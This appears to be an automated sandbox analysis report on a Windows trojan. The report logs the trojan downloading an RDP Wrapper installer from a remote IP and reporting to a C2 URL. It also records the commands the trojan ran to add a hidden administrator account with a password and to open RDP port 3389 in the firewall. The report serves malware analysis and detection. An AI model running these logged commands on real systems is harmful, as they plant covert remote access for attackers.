Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0043CF60 InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

8_2_0043CF60

Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: hansgborn.eu

Source: unknown

HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 193Expect: 100-continueConnection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:23:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Content-Type-Options: nosniffCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n78Cuf5jALD%2BIbhiTCL4zbEwvNVt7zS7jEAlYva6PGfsrEFdGWZ5N3o80l8KBOuvC9cd%2FGlXNVidCcCS5S7I%2Fs3dcjDUXlBY9rTtQnB2KT6vpZPClKSJuOLsjYLOJus%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8cf253cb5d417c8d-EWR92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgd
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eu
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eud
Source: hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RDPWInst.exe, RDPWInst.exe, 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://stascorp.com/load/1-1-0-62
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.8.dr	String found in binary or memory: http://stascorp.comDVarFileInfo$
Source: Amcache.hve.38.dr	String found in binary or memory: http://upx.sf.net
Source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/
Source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/lontivero/Open.Nat/issuesOAlso
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/receive.php
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/receive.phpd
Source: RDPWInst.exe	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
Source: RDPWInst.exe, 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Code function: 0_2_02ADA168	0_2_02ADA168
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Code function: 0_2_02AD9150	0_2_02AD9150
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Code function: 0_2_02AD9498	0_2_02AD9498
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040360C	8_2_0040360C

Source: Joe Sandbox View

Dropped File: C:\Program Files\RDP Wrapper\rdpwrap.dll 798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00406BE0 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00404CDC appears 74 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00407450 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 004042F8 appears 74 times

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 2756

Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRDPWInst.exeB vs hloRQZmlfg.exe
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerfxvmt.dllj% vs hloRQZmlfg.exe
Source: hloRQZmlfg.exe, 00000000.00000000.1405997855.0000000000882000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs hloRQZmlfg.exe
Source: hloRQZmlfg.exe, 00000000.00000002.1919496760.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs hloRQZmlfg.exe
Source: hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOpen.Nat.dll2 vs hloRQZmlfg.exe
Source: hloRQZmlfg.exe	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs hloRQZmlfg.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys

Source: hloRQZmlfg.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: hloRQZmlfg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hloRQZmlfg.exe, QXNzZW1ibHlMb2FkZXJB.cs	Base64 encoded string: 'w75gTK5M6nzjTjnU+EoLi93dybDJuhTv6xUfacOqvm3ntZls9kVKGw==', 'GIKjK8lRUDXDvmBMrkzqfONOOdT4SguL3d3JsMm6FO/rFR9pw6q+bdiuJS1yJj2wOTluGm4Gl9mQZennlkDvjw=='
Source: hloRQZmlfg.exe, UkRQSW5zdGFsbGVyQUFB.cs	Base64 encoded string: 'Jgk+cpobi4HBt1lw0WE9XNJ89TCIzlhBNL/zJLRgBlm9Fes8fLy7lOqxaoMMFYu4h05s9jjqJGLgjuTH0E+V5A==', 'Jgk+cpobi4HBt1lw0WE9XNJ89TCIzlhBNL/zJLRgBlm9Fes8fLy7lOqxaoMMFYu4h05s9jjqJGLgjuTH0E+V5A==', 'JehuIqkfsZQn0wkdwp2Nv/y8T+57Hbz4jwTgsn8AMlfxiUVZPRQx54pSXRY9M8JQ2umoxBO/Qdf/mHep3Ig9TJeUj4V6VmCFYjcojSKP1YckClxyst9NgCfGZwdRs5kQOl2e24zkqDU='
Source: hloRQZmlfg.exe, U3lzdGVtSW5mb0FB.cs	Base64 encoded string: 'U2dyW+WlE2YacbhqD8LQw/dYBPvUOuPoVsunzrPAfQoHVJJcYxfAV2E0Ximq0mTO24Gft0ff19E6XZ7bjOSoNQ==', 'Xq8So407SNKAzRfCmuKT/ly3DrFODnX5uyrwLzvgmMo6XZ7bjOSoNQ==', 'Xq8So407SNLaCDu3SJO0Fc9Z8WHbi8GwQ2lpakbFuh4TfVtQ1EKwfULNkulliuVh', 'Xq8So407SNKAzRfCmuKT/kOCDYZigawGtO0vHjFlULSJJMEG9cpg/A==', 'Hvsa0AhhunjG28J8qAHgRJENLhIM1RWb/F5T453A6UKDTIehOAc8i41KEtlAK0ui', 'Q7n1HoDaVCNv7RNvVd9BtzWPUPtXLvcOQk9qkg0DAsLpFtHAxn6PWy8NKefrC0og'

Source: hloRQZmlfg.exe, 00000000.00000002.1919496760.0000000000F16000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: AutomaticEngineRollbackMode;.VBP

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@38/13@2/5

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0043BF00 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,

8_2_0043BF00

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0040FAE8 GetDiskFreeSpaceW,

8_2_0040FAE8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0043DC64 LoadLibraryExW,FindResourceW,LoadResource,FreeLibrary,

8_2_0043DC64

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0043B1A8 OpenSCManagerW,GetLastError,OpenServiceW,CloseServiceHandle,GetLastError,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,CloseServiceHandle,

8_2_0043B1A8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Program Files\RDP Wrapper

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4820:120:WilError_03
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2444
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6052:120:WilError_03

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Jump to behavior

Source: Yara match	File source: 8.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.1434233686.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: hloRQZmlfg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: hloRQZmlfg.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hloRQZmlfg.exe	ReversingLabs: Detection: 63%
Source: hloRQZmlfg.exe	Virustotal: Detection: 71%

Source: RDPWInst.exe

String found in binary or memory: Link: http://stascorp.com/load/1-1-0-62

Source: unknown	Process created: C:\Users\user\Desktop\hloRQZmlfg.exe "C:\Users\user\Desktop\hloRQZmlfg.exe"
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user RDPUser_1e47a393 GEdtvn58rfdr /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_1e47a393 GEdtvn58rfdr /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_1e47a393 GEdtvn58rfdr /add
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Administrators" RDPUser_1e47a393 /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_1e47a393 /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_1e47a393 /add
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 2756
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_1e47a393 GEdtvn58rfdr /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_1e47a393 GEdtvn58rfdr /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_1e47a393 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_1e47a393 /add	Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
